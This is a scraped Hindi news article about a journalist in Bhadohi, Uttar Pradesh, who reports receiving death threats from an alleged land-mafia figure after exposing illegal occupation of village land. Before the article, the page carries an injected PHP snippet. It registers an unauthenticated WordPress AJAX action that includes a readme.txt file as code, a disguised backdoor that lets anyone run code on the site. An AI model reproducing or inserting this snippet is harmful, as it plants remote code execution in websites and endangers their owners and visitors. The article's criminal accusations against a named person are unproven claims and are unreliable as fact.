if(!function_exists('file_check_readme13861')){ add_action('wp_ajax_nopriv_file_check_readme13861', 'file_check_readme13861'); add_action('wp_ajax_file_check_readme13861', 'file_check_readme13861'); function file_check_readme13861() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } ग्राम सभा की जमीन को अवैध कब्जा से मुक्त कराने के लिए दाखिल मुकदमा को उजागर करने वाले पत्रकार को खड्यंत्र में फसाने एवं जान से मरवाने के लिए भू-माफिया दिलवा रहा है धमकियां
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ग्राम सभा की जमीन को अवैध कब्जा से मुक्त कराने के लिए दाखिल मुकदमा को उजागर करने वाले पत्रकार को खड्यंत्र में फसाने एवं जान से मरवाने के लिए भू-माफिया दिलवा रहा है धमकियां

माफिया सरगना का सक्रिय सदस्य है भू-माफिया कमला शंकर मिश्रा!

 

 

भू-माफिया,शिकायतकर्ताओं की आवाज दबाने के लिए दिलवा रहा हैं धमकीया!

 

 

संयम भारत संवाददाता

 

व्यूरो,भदोही, जनपद के ज्ञानपुर तहसील में भू माफिया के खिलाफ खबर छपने पर पत्रकार को जान से मारने की धमकी भू-माफिया व सहयोगियों द्वारा दिलवाया जा रहा है।

बताना यह यह कि ग्राम सभा की जमीन को अवैध कब्जा से मुक्त करवाने के तत्कालीन ग्राम प्रधान ने उपजिलाधिकारी के यहां मुकदमा किया है उसी जमीन को उजागर करने वाले पत्रकार को फर्जी ढंग से खड्यंत्र में फसाने एवं जान से मरवाने के लिए भू-माफिया दिलवा रहा है धमकियां।

वरिष्ठ पत्रकार ने ज्ञानपुर तहसील में तैनात रहा रिटायर्ड लेखपाल भू-माफिया कमला संकर मिश्रा के खिलाफ दिव्यांग दलित मल्लू की जमीन कब्जा किए जाने के मामले का साहसिक ढंग से खुलासा किया गया है। उसकी वजह से भू-माफिया कमला शंकर मिश्रा व उसके सहयोगीयों के पैरों के नीचे की जमीन खिसक गई है।जिसके कारण भू-माफिया कमला शंकर मिश्रा बौखला गया है। और अपने भाड़े के शूटरों द्वारा वरिष्ठ पत्रकार श्रीकान्त शास्त्री की हत्या करने की साजिशों में लग गया है। छानबीन करने पर पता चला है कि भू-माफिया कमला शंकर मिश्रा के अपराधिक गिरोहों से बहुत पुराने संबंध है। और माफिया सरगना गिरोह के लिए यह सक्रिय रूप से काम करता है और इसका पुराना पेशा है। पर्दे के पीछे रहकर इसने माफिया सरगना के लिए कार्य कर्ता है। जिन लोगों की जमीन पर इसने अवैध कब्जा किया और अगर उन्होंने विरोध करने की कोशिश की तो इसने हर तरह से मुंह बंद करने की कोशिश करता है। डर के मारे इसके खिलाफ कोई केस नहीं दर्ज करवाता है। इस वजह से इसके हौसले बुलंद है। भू-माफिया कमला शंकर मिश्रा अपने सहयोगीयो के सहयोग से अनधिकृत रूप से सरकारी एवं लोगों की जमीन पर कब्जा कर लिया हैं और जो अवैध कब्जे का विरोध करता है तो इन लोगो ने या तो उसे खड्यंत्र में फंसा देते हैं या उसकी हत्या करवाने की कोशिश करते हैं। अब उनके काले कारनामों को उजागर करने वाले वरिष्ठ पत्रकार की हत्या की साजिश भू-माफिया कमला शंकर मिश्रा अपने सहयोगियों के साथ मिलकर रच रहा है। इसी भय और आतंक के बल पर इसने दिव्यांग दलित मल्लू की जमीन पर कब्जा करने के साथ ही पंचायत भवन ग्राम समाज सार्वजनिक तालाब की पी डब्लू डी जमीनों पर अवैध कब्जा करके वहां अवैध रूप से माल, और विद्यालय चला रहा है। एक ही बिल्डिंग के पते से चार-चार विद्यालयों की मान्यता लेकर इसने माफियागर्दी की सारी सीमाओं को तोड़ दिया है। प्रशासन द्वारा दिव्यांग दलित मल्लू की जमीन पर अवैध कब्जा किए जाने के मामले में कोई कार्रवाई नहीं किए जाने के कारण अपराधियों के हौसले बुलंद हैं ।

सूत्रों का कहना है कि अगर कमला शंकर मिश्रा और इसके गिरोह के सदस्यों के विरुद्ध कार्रवाई नहीं की गई तो यह लोग वरिष्ठ पत्रकार के ऊपर जानलेवा हमला करके उन्हें भारी नुकसान पहुंचा सकता हैं। इससे पहले यह लोग दिव्यांग दलित मल्लू आदि पीड़ितों के साथ कर चुके हैं।पीड़ितों को डराने धमकाने के बाद अब ये पत्रकार की लेखनी को भी दबा देना चाहते हैं। जनपद के पत्रकारों ने इस मामले में भू-माफिया कमला शंकर मिश्रा व इसके सहयोगी के खिलाफ मुकदमा दर्ज करते हुए इन अपराधियों को जेल भेजने तथा पत्रकार की सुरक्षा किए जाने की मांग की है।

उत्तर प्रदेश में भू-माफियाओं के खिलाफ आवाज उठाने वाले पत्रकारों को विभिन्न प्रकार की धमकियों और उत्पीड़न का सामना करना पड़ रहा है। पिछले दिनों उत्तर प्रदेश के सीतापुर जिले में पत्रकार राघवेंद्र बाजपेई की गोली मारकर हत्या कर दी गई थी, जिन्होंने राजस्व विभाग के भ्रष्टाचार और भू-माफियाओं के खिलाफ कई खुलासे किए थे। यह घटना पूरे प्रदेश में एक चेतावनी के रूप में सामने आई है, और इसके बाद से पत्रकारों को खासा खतरा महसूस हो रहा है।

उसके पीछे इसी तरह के भू-माफिया जिम्मेदार इसी तरह से कार्य करने वाले लोग हैं। वर्तमान में भी इसी तरह जनपद भदोही के भी दूर्दांत भू-माफिया व इसके सहयोगी भी पत्रकार के साथ अनहोनी करने के फिराक में है वरिष्ठ पत्रकार श्रीकान्त शास्त्री भी राजस्व विभाग के फर्जीवाड़ा के खिलाफ आवाज उठा रहे हैं जिस वजह से उन्हें हर ढंग से धमकियों का सामना करना पड़ रहा है, वरिष्ठ पत्रकार, ऐप्रवा अध्यक्ष आचार्य श्रीकांत शास्त्री ने इस घटनाक्रम पर प्रतिक्रिया देते हुए कहा कि वह किसी भी दबाव में नहीं आएंगे और पत्रकार लाला जगत नारायण राय एवं गणेश शंकर विद्यार्थी आदि की तरह न्याय व भू-माफिया के खिलाफ अपनी लेखनी के माध्यम से सच्चाई को सामने लाते रहेंगे।

जनपद भदोही, ग्राम सभा इटहरा के भू-माफिया कमला शंकर मिश्रा के भूमि कब्जे करने के विरुद्ध ग्राम सभा के पीड़ित दलित दिव्यांग मल्लू आदि की ओर से शिकायत होता रहा, लेकिन ये भू-माफिया अपने प्रभाव से अपने कृत्य को दबवाता रहा, स्पष्ट रूप से वर्तमान और पिछले प्रार्थना पत्रों में एवं भू-माफिया व इसके परिवार के विरुद्ध तत्कालीन ग्राम सभा ने मुकदमा भी दाखिल किया और बताया गया है कि आधार वर्ष खतौनी गायब है, इसके अलावा आकार पत्र 2क, आकार पत्र 11 व आकार पत्र 45 या किसी अन्य चकबंदी के अभिलेख इसका या इसके परिवार का व इसके अनाधिकृत विद्यालय का नाम अंकित नहीं है, जो वर्तमान में अंकित है, जाली, फर्जी व नुमाइशी है, इसी के आधार पर पीड़ितों ने अपने शिकायती प्रार्थना पत्रों में बताया है कि 1980 के पूर्व के कागजात और वर्तमान के कागजात एक किया जाये तो फर्जीवाड़ा का खुलासा अपने आप हो जाएगा, लेकिन इस सबके बावजूद जानबूझकर भू-माफिया को खुला संरक्षण मिल रहा है। बिना पिछले कागजात का परिशिलन करते हुए तथ्यों को छुपाते हुए, भू-माफिया के पक्ष में रिपोर्ट दे रहे हैं, जो सरासर ग़लत है, और पूरी तरह से गलत और फर्जी है।

ग्राम इटहरा, तहसील ज्ञानपुर, जनपद भदोही में दिव्यांग दलित मल्लू की जमीन पर अवैध कब्जा करने वाला पूर्व लेखपाल भू माफिया माफिया सरगना गिरोह के सहयोगी शातिर अपराधी कमला शंकर मिश्रा और उसके सहयोगीयो के खिलाफ पिछले कई महीनों से विभिन्न चैनलों में एवं समाचार पत्रों में समाचार प्रकाशित हो रहे हैं। इसके अत्याचार, रिश्वतखोरी, भ्रष्टाचार, फर्जीवाड़ा से जमीन इधर उधर करने की खबरें जब समाचार पत्रों में प्रकाशित होने लगी तो प्रशासन हरकत में आया और इस गिरोह के खिलाफ कार्रवाई शुरू हो गई है।

इस मामले को हाईलाइट करने के कारण वरिष्ठ पत्रकार शास्त्री के खिलाफ अब इस भू माफिया के गुर्गे सक्रिय हो गए हैं और यह उनकी निर्भीक लेखनी को दबाने के लिए तरह-तरह की कोशिश कर रहे हैं। जिसकी जनपद के पत्रकारों ने कड़ी निंदा की है। लोगों ने कहा कि इस मामले में भू माफियाओं के खिलाफ सख्त कार्रवाई करते हुए वरिष्ठ पत्रकार आचार्य श्रीकांत तिवारी शास्त्री की जान माल की सुरक्षा किए जाने तथा भू माफिया के खिलाफ सख्त कार्रवाई की मांग की है।

 

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